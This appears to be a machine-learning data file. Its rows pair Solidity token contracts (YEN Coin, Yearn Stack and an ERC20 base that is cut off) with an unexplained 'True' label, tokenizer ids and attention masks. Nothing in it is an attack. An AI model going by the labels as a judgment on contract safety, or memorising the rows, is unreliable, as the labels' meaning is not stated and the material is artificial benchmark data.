1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
/** Submitted for verification at Etherscan.io on 2021-04-24 / // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; /** * @dev Collection of functions related to the address type / library AddressUpgradeable { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. / abstract contract Initializable { /* * @dev Indicates that the contract has been initialized. / bool private _initialized; /* * @dev Indicates that the contract is in the process of being initialized. / bool private _initializing; /* * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing \|\| !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } contract YENc is Initializable { string public constant name = "YEN Coin"; string public constant symbol = "YENC"; string public constant version = "1"; uint8 public constant decimals = 18; event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); event Transfer(address indexed from, address indexed to, uint256 tokens); mapping(address => bool) public admins; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; uint256 private totalSupply_; modifier onlyAdmins() { require(admins[msg.sender] == true, "yenc/only-admin"); _; } function initialize(uint256 _initialSupply) public initializer { totalSupply_ = _initialSupply; balances[msg.sender] = totalSupply_; admins[msg.sender] = true; } function isAdmin(address _address) public view returns (bool) { return admins[_address]; } function addAdmin(address _address) public onlyAdmins { admins[_address] = true; } function removeAdmin(address _address) public onlyAdmins { require(msg.sender != _address, "yenc/self-remove"); admins[_address] = false; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public view returns (uint256) { return balances[tokenOwner]; } function transfer(address receiver, uint256 numTokens) public returns (bool) { require(numTokens <= balances[msg.sender], "yenc/excessive-transfer"); balances[msg.sender] = balances[msg.sender] - numTokens; balances[receiver] = balances[receiver] + numTokens; emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint256 numTokens) public returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public view returns (uint256) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint256 numTokens) public returns (bool) { require(numTokens <= balances[owner], "yenc/excessive-transferFrom"); require(numTokens <= allowed[owner][msg.sender], "yenc/above-allowance"); balances[owner] = balances[owner] - numTokens; allowed[owner][msg.sender] = allowed[owner][msg.sender] - numTokens; balances[buyer] = balances[buyer] + numTokens; emit Transfer(owner, buyer, numTokens); return true; } function mint(address account, uint256 value) public onlyAdmins returns (bool) { require(account != address(0)); totalSupply_ = totalSupply_ + value; balances[account] = balances[account] + value; emit Transfer(address(0), account, value); return true; } function burn(address account, uint256 value) public onlyAdmins returns (bool) { require(account != address(0)); totalSupply_ = totalSupply_ - value; balances[account] = balances[account] - value; emit Transfer(account, address(0), value); return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5840, 1011, 2484, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 6279, 24170, 3085, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 4070, 1006, 1041, 10441, 1007, 1998, 2025, 1037, 3206, 1012, 1008, 1008, 2426, 2500, 1010, 1036, 2003, 8663, 6494, 6593, 1036, 2097, 2709, 6270, 2005, 1996, 2206, 1008, 4127, 1997, 11596, 1024, 1008, 1008, 1011, 2019, 27223, 1011, 3079, 4070, 1008, 1011, 1037, 3206, 1999, 2810, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2097, 2022, 2580, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2973, 1010, 2021, 2001, 3908, 1008, 1027, 1027, 1027, 1027, 1008, 1013, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 1013, 1013, 2023, 4118, 16803, 2006, 4654, 13535, 19847, 4697, 1010, 2029, 5651, 1014, 2005, 8311, 1999, 1013, 1013, 2810, 1010, 2144, 1996, 3642, 2003, 2069, 8250, 2012, 1996, 2203, 1997, 1996, 1013, 1013, 9570, 2953, 7781, 1012, 21318, 3372, 17788, 2575, 2946, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2279, 1011, 2240, 2053, 1011, 23881, 1011, 3320, 3320, 1063, 2946, 1024, 1027, 4654, 13535, 19847, 4697, 1006, 4070, 1007, 1065, 2709, 2946, 1028, 1014, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 6110, 2005, 5024, 3012, 1005, 1055, 1036, 4651, 1036, 1024, 10255, 1036, 3815, 1036, 11417, 2000, 1008, 1036, 7799, 1036, 1010, 2830, 2075, 2035, 2800, 3806, 1998, 7065, 8743, 2075, 2006, 10697, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 6988, 1031, 1041, 11514, 15136, 2620, 2549, 1033, 7457, 1996, 3806, 3465, 1008, 1997, 3056, 6728, 23237, 1010, 4298, 2437, 8311, 2175, 2058, 1996, 11816, 2692, 3806, 5787, 1008, 9770, 2011, 1036, 4651, 1036, 1010, 2437, 2068, 4039, 2000, 4374, 5029, 3081, 1008, 1036, 4651, 1036, 1012, 1063, 4604, 10175, 5657, 1065, 20362, 2023, 22718, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 29454, 29206, 3401, 1012, 9530, 5054, 6508, 2015, 1012, 5658, 1013, 8466, 1013, 10476, 1013, 5641, 1013, 2644, 1011, 2478, 1011, 5024, 3012, 2015, 1011, 4651, 1011, 2085, 1013, 1031, 4553, 2062, 1033, 1012, 1008, 1008, 2590, 1024, 2138, 2491, 2003, 4015, 2000, 1036, 7799, 1036, 1010, 2729, 2442, 2022, 1008, 2579, 2000, 2025, 3443, 2128, 4765, 5521, 5666, 24728, 19666, 6906, 14680, 1012, 5136, 2478, 1008, 1063, 2128, 4765, 5521, 5666, 18405, 1065, 2030, 1996, 1008, 16770, 1024, 1013, 1013, 5024, 3012, 1012, 3191, 23816, 10085, 2015, 1012, 22834, 1013, 4372, 1013, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
//SPDX-License-Identifier: MIT pragma solidity ^0.7.2; contract Owned { modifier onlyOwner() { require(msg.sender == owner); _; } address owner; address newOwner; function changeOwner(address payable _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } } contract ERC20 { string public symbol; string public name; uint8 public decimals; uint256 public totalSupply; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract YearnStack is Owned,ERC20{ uint256 public maxSupply; constructor(address _owner) { symbol = "YSFI"; name = "Yearn Stack"; decimals = 18; // 18 Decimals are Best for Liquidity totalSupply = 50000000000000000000000; // 50,000 is Total Supply ; Rest 18 Zeros are Decimals maxSupply = 50000000000000000000000; // 50,000 is Total Supply ; Rest 18 Zeros are Decimals owner = _owner; balances[owner] = totalSupply; } receive() external payable { revert(); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1016, 1025, 3206, 3079, 1063, 16913, 18095, 2069, 12384, 2121, 1006, 1007, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 4769, 3954, 1025, 4769, 2047, 12384, 2121, 1025, 3853, 2689, 12384, 2121, 1006, 4769, 3477, 3085, 1035, 2047, 12384, 2121, 1007, 2270, 2069, 12384, 2121, 1063, 2047, 12384, 2121, 1027, 1035, 2047, 12384, 2121, 1025, 1065, 3853, 5138, 12384, 2545, 5605, 1006, 1007, 2270, 1063, 2065, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 2047, 12384, 2121, 1007, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 1065, 3206, 9413, 2278, 11387, 1063, 5164, 2270, 6454, 1025, 5164, 2270, 2171, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1007, 3039, 1025, 2724, 4651, 1006, 4769, 25331, 1035, 2013, 1010, 4769, 25331, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 1035, 3954, 1010, 4769, 25331, 1035, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 3193, 2270, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 2709, 5703, 2015, 1031, 1035, 3954, 1033, 1025, 1065, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3815, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1063, 5478, 1006, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1028, 1027, 1035, 3815, 1004, 1004, 1035, 3815, 1028, 1014, 1004, 1004, 5703, 2015, 1031, 1035, 2000, 1033, 1009, 1035, 3815, 1028, 5703, 2015, 1031, 1035, 2000, 1033, 1007, 1025, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1011, 1027, 1035, 3815, 1025, 5703, 2015, 1031, 1035, 2000, 1033, 1009, 1027, 1035, 3815, 1025, 12495, 2102, 4651, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 1035, 2000, 1010, 1035, 3815, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3815, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1063, 5478, 1006, 5703, 2015, 1031, 1035, 2013, 1033, 1028, 1027, 1035, 3815, 1004, 1004, 3039, 1031, 1035, 2013, 1033, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1028, 1027, 1035, 3815, 1004, 1004, 1035, 3815, 1028, 1014, 1004, 1004, 5703, 2015, 1031, 1035, 2000, 1033, 1009, 1035, 3815, 1028, 5703, 2015, 1031, 1035, 2000, 1033, 1007, 1025, 5703, 2015, 1031, 1035, 2013, 1033, 1011, 1027, 1035, 3815, 1025, 3039, 1031, 1035, 2013, 1033, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1011, 1027, 1035, 3815, 1025, 5703, 2015, 1031, 1035, 2000, 1033, 1009, 1027, 1035, 3815, 1025, 12495, 2102, 4651, 1006, 1035, 2013, 1010, 1035, 2000, 1010, 1035, 3815, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 14300, 1006, 4769, 1035, 5247, 2121, 1010, 21318, 3372, 17788, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-12-26 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 0; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See 